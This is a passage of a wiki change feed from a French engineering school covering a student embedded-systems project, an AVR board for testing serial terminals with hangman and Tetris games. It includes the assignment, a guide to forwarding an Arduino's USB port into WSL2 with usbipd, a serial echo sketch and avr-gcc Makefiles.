	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Démonstration de fonctionnement sur terminaux anciens ==&lt;br /&gt;
&lt;br /&gt;
Vidéos de démonstration.&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Terminal-Testing_SCH_KiCAD.pdf&amp;diff=10246</id>
		<title>Fichier:Terminal-Testing SCH KiCAD.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Terminal-Testing_SCH_KiCAD.pdf&amp;diff=10246"/>
		<updated>2025-08-18T12:50:09Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Terminal-Testing SCH KiCAD&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10245</id>
		<title>SE4 2024/2025 EC2</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10245"/>
		<updated>2025-08-18T12:24:55Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Projet KiCAD de la carte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Vous allez concevoir, réaliser et programmer un système embarqué de test de terminaux série assez souvent utilisés pour l'administration système et réseau.&lt;br /&gt;
&lt;br /&gt;
Les terminaux visés sont des terminaux logiciels comme &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; tournant sur un système d'exploitation moderne mais aussi d'ancien terminaux comme un Ampex 210 ou un Televideo TVI-920C.&lt;br /&gt;
&lt;br /&gt;
Vous commencerez par concevoir votre carte dont le coeur doit être un microcontrôleur AVR et qui doit pouvoir se connecter en USB/série à un PC moderne mais aussi à d'anciens terminaux via des connecteurs DB9 et DB25 (voir les manuels des terminaux pour le brochage). L'utilisateur doit aussi pouvoir sélectionner le mode de test et le type de terminal. Une réflexion doit être menée sur l'alimentation de la carte. Vous avez le droit à un budget de 50 euros pour la carte, les composants et le port.&lt;br /&gt;
&lt;br /&gt;
Une fois la carte conçue et validée par l'encadrant vous pourrez vous pencher sur la programmation de la carte. Cette programmation se fera uniquement en utilisant la version AVR de &amp;lt;code&amp;gt;gcc&amp;lt;/code&amp;gt; et l'utilitaire &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;. Vous pouvez utiliser l'Arduino Uno fourni pour les premières versions de votre programme de test de terminaux. Comme terminal vous pouvez utiliser &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; dans un premier temps.&lt;br /&gt;
&lt;br /&gt;
Le logiciel de test doit proposer plusieurs tests, un test fonctionnant en ASCII pur, par exemple un jeu de pendu et un jeu plus complexe utilisant des séquences de déplacement du curseur sur l'écran, par exemple un jeu tétris. Pour les séquences permettant l'adressage du curseur, vous pouvez utilisez le protocole VT100 pour &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;. Pour les terminaux plus anciens, vérifiez quels protocoles avancés de gestion d'affichage sont disponibles. Le cas échéant, faites en sorte que votre test avancé puisse utiliser des protocoles différents sélectionnés par l'utilisateur via les contrôles sur votre carte.&lt;br /&gt;
&lt;br /&gt;
L'épreuve sera considérée comme un succès s'il est possible de jouer à tétris sur un des deux anciens terminaux.&lt;br /&gt;
&lt;br /&gt;
Il s'agit là d'un cahier des charges initial qui peut être revu en cas d'ambigüité. Vous avez jusqu'au 1 septembre pour réaliser le travail demandé. Il vous est explicitement demandé de produire un travail régulier le plus tôt possible *et* de faire des rapports réguliers (obligatoirement au travers de ce Wiki) à votre encadrant. S'y prendre à la dernière minute avec un seul retour à quelques jours de la date limite est une garantie d'échec.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Le matériel nécessaire est constitué :&lt;br /&gt;
* d'un PC pour la conception de la carte et la mise au point du programme embarqué (à votre charge) ;&lt;br /&gt;
* d'un Arduino UNO pour le test de la version initiale de votre programme embarqué (fourni par l'encadrant) ;&lt;br /&gt;
* de terminaux Ampex 210 et Televideo TVI-920C (à utiliser à l'école fin août).&lt;br /&gt;
&lt;br /&gt;
= Foire aux questions =&lt;br /&gt;
&lt;br /&gt;
* L'épreuve complémentaire est-elle réalisable au domicile de l'élève ?&lt;br /&gt;
&lt;br /&gt;
La conception de la carte est réalisable à domicile, la fabrication de la carte est prévue à l'extérieur (50 euros maximum, composants et port compris), il faut donc une adresse postale valide pour recevoir le PCB, la réalisation de la carte peut être externalisée (dans la limite des 50 euros) ou à domicile en utilisant un fer à souder personnel, le développement initial est réalisable sur l'Arduino fourni (et un PC personnel), les tests basiques et avancés sont réalisables à domicile (Arduino et PC personnel), le test sur les anciens terminaux est à prévoir fin août à l'école. Il n'est pas prévu d'accès aux ressources de l'école avant fin août.&lt;br /&gt;
&lt;br /&gt;
* Où est disponible l'Arduino UNO ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le courriel du 15 juillet, le matériel est disponible à l'accueil de l'école. A rendre au premier septembre 2025.&lt;br /&gt;
&lt;br /&gt;
* Comment programmer la carte ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le sujet, la carte doit pouvoir se programmer par DFU/USB. Il est conseillé d'utiliser un système d'exploitation Linux pour le développement du programme embarqué mais vous pouvez utiliser tout autre système du moment que vous assumez ce choix.&lt;br /&gt;
&lt;br /&gt;
* Comment sera testée la carte réalisée ?&lt;br /&gt;
&lt;br /&gt;
La carte sera testée par l'encadrant d'abord en utilisant l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; avec son émulation VT100 sous un Linux mais l'élève peut tester son code avec tout autre outil. Un second test sera conduit sur les anciens terminaux série de l'école.&lt;br /&gt;
&lt;br /&gt;
* Précisions sur les jeux &amp;quot;pendu&amp;quot; et &amp;quot;tétris&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les jeux évoqués doivent pouvoir être joué à partir de l'écran et des touches des terminaux. Les éventuelles touches sur la cartes ne servent qu'à sélectionner le test et le protocole de commandes du terminal (VT100 ou autre).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== COMPTE-RENDU DU 28/07/2025 ===&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;u&amp;gt;Préliminaires – Connexion d’un Arduino via USB à Minicom dans WSL2&amp;lt;/u&amp;gt; ====&lt;br /&gt;
Dans ce projet, il est nécessaire de communiquer avec un microcontrôleur (ici, un '''Arduino Uno''') connecté en '''USB''' à un PC sous '''Windows 11''', en utilisant un outil typiquement '''Linux''' : '''Minicom''', un terminal série.&lt;br /&gt;
&lt;br /&gt;
Or, Minicom ne fonctionne pas directement sur Windows, et nécessite un environnement Linux. Pour cette raison, nous avons mis en place un environnement '''WSL2''' (Windows Subsystem for Linux) avec '''Ubuntu''', capable d'accéder au port USB de l'Arduino.&lt;br /&gt;
&lt;br /&gt;
Cette section détaille toutes les étapes techniques pour configurer correctement cette chaîne de communication entre :&lt;br /&gt;
&lt;br /&gt;
* l’'''IDE Arduino''' sous Windows pour téléverser les programmes,&lt;br /&gt;
* l’environnement '''Ubuntu WSL2''' pour dialoguer via le terminal Minicom.&lt;br /&gt;
&lt;br /&gt;
===== &amp;lt;u&amp;gt;Environnement logiciel utilisé&amp;lt;/u&amp;gt; =====&lt;br /&gt;
&lt;br /&gt;
* '''Système d’exploitation''' : Windows 11&lt;br /&gt;
* '''Distribution Linux via WSL2''' : Ubuntu 20.04&lt;br /&gt;
* '''Périphérique série utilisé''' : Arduino Uno &lt;br /&gt;
* '''Outils utilisés''' :&lt;br /&gt;
** WSL2&lt;br /&gt;
** usbipd-win (redirection USB vers WSL)&lt;br /&gt;
** &amp;lt;code&amp;gt;Minicom&amp;lt;/code&amp;gt; (communication série Linux)&lt;br /&gt;
&lt;br /&gt;
==== Redirection USB du port Arduino vers WSL ====&lt;br /&gt;
Par défaut, un port USB comme '''COM9''' sur Windows '''n'est pas visible directement''' sous WSL. Pour le rendre accessible à Ubuntu, il faut utiliser '''usbipd-win'''.&lt;br /&gt;
&lt;br /&gt;
==== Installer usbipd ====&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;winget install usbipd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redémarrer le système W11 une fois l'installation terminée.&lt;br /&gt;
&lt;br /&gt;
=== Identifier le port USB de l’Arduino ===&lt;br /&gt;
Branche l’Arduino via USB.&lt;br /&gt;
&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd list&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela affiche tous les périphériques USB connectés. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;BUSID  VID:PID    DEVICE&lt;br /&gt;
1-1    2341:0043  Périphérique série USB (COM9)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici, le '''BUSID''' est &amp;lt;code&amp;gt;1-1&amp;lt;/code&amp;gt; et l’Arduino est détecté sur le '''port COM9'''.&lt;br /&gt;
&lt;br /&gt;
=== Partager puis attacher le port à WSL ===&lt;br /&gt;
Toujours dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vérifier dans Ubuntu que le port est bien présent&lt;br /&gt;
Dans Ubuntu (WSL) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls /dev/tty*&lt;br /&gt;
/dev/tty    /dev/tty21  /dev/tty35  /dev/tty49  /dev/tty62&lt;br /&gt;
/dev/tty0   /dev/tty22  /dev/tty36  /dev/tty5   /dev/tty63&lt;br /&gt;
/dev/tty1   /dev/tty23  /dev/tty37  /dev/tty50  /dev/tty7&lt;br /&gt;
/dev/tty10  /dev/tty24  /dev/tty38  /dev/tty51  /dev/tty8&lt;br /&gt;
/dev/tty11  /dev/tty25  /dev/tty39  /dev/tty52  /dev/tty9&lt;br /&gt;
/dev/tty12  /dev/tty26  /dev/tty4   /dev/tty53  /dev/ttyACM0&lt;br /&gt;
/dev/tty13  /dev/tty27  /dev/tty40  /dev/tty54  /dev/ttyS0&lt;br /&gt;
/dev/tty14  /dev/tty28  /dev/tty41  /dev/tty55  /dev/ttyS1&lt;br /&gt;
/dev/tty15  /dev/tty29  /dev/tty42  /dev/tty56  /dev/ttyS2&lt;br /&gt;
/dev/tty16  /dev/tty3   /dev/tty43  /dev/tty57  /dev/ttyS3&lt;br /&gt;
/dev/tty17  /dev/tty30  /dev/tty44  /dev/tty58  /dev/ttyS4&lt;br /&gt;
/dev/tty18  /dev/tty31  /dev/tty45  /dev/tty59  /dev/ttyS5&lt;br /&gt;
/dev/tty19  /dev/tty32  /dev/tty46  /dev/tty6   /dev/ttyS6&lt;br /&gt;
/dev/tty2   /dev/tty33  /dev/tty47  /dev/tty60  /dev/ttyS7&lt;br /&gt;
/dev/tty20  /dev/tty34  /dev/tty48  /dev/tty61&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Ce périphérique correspond à l’Arduino connecté en USB.&lt;br /&gt;
C’est ce port que Minicom utilisera pour la communication série.&lt;br /&gt;
&lt;br /&gt;
Exemple de sketch Arduino pour test de communication&lt;br /&gt;
Ce sketch permet de tester si la communication fonctionne bien.&lt;br /&gt;
Téléverser via l’IDE Arduino sous Windows avant d’attacher le périphérique à WSL :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
void setup() {&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void loop() {&lt;br /&gt;
  if (Serial.available()) {&lt;br /&gt;
    char c = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;Vous avez tapé : &amp;quot;);&lt;br /&gt;
    Serial.println(c);&lt;br /&gt;
  }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternance Windows ↔ WSL &lt;br /&gt;
&lt;br /&gt;
Pour téléverser un sketch depuis Windows :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd detach --busid 1-1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Le périphérique redevient accessible dans l’IDE Arduino sous Windows)&lt;br /&gt;
&lt;br /&gt;
Pour basculer la communication vers Ubuntu (Minicom) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Cette alternance peut être répétée autant que nécessaire.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
&lt;br /&gt;
== Projet KiCAD de la carte ==&lt;br /&gt;
Lien Gitea avec Code Arduino, Code C, Makefile, fichiers KiCAD : https://gitea.plil.fr/pcasimir/Test-Terminaux_Rattrapages-SE4-2025.git&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Terminal-Testing SCH.pdf|alt=Terminal-Testing SCH|gauche|vignette|1080x1080px|Terminal-Testing SCH]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test ASCII ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter si besoin) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|gauche|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test avancé ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C (modifie si besoin)&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|vignette]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Démonstration de fonctionnement sur terminaux anciens ==&lt;br /&gt;
&lt;br /&gt;
Vidéos de démonstration.&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
</feed>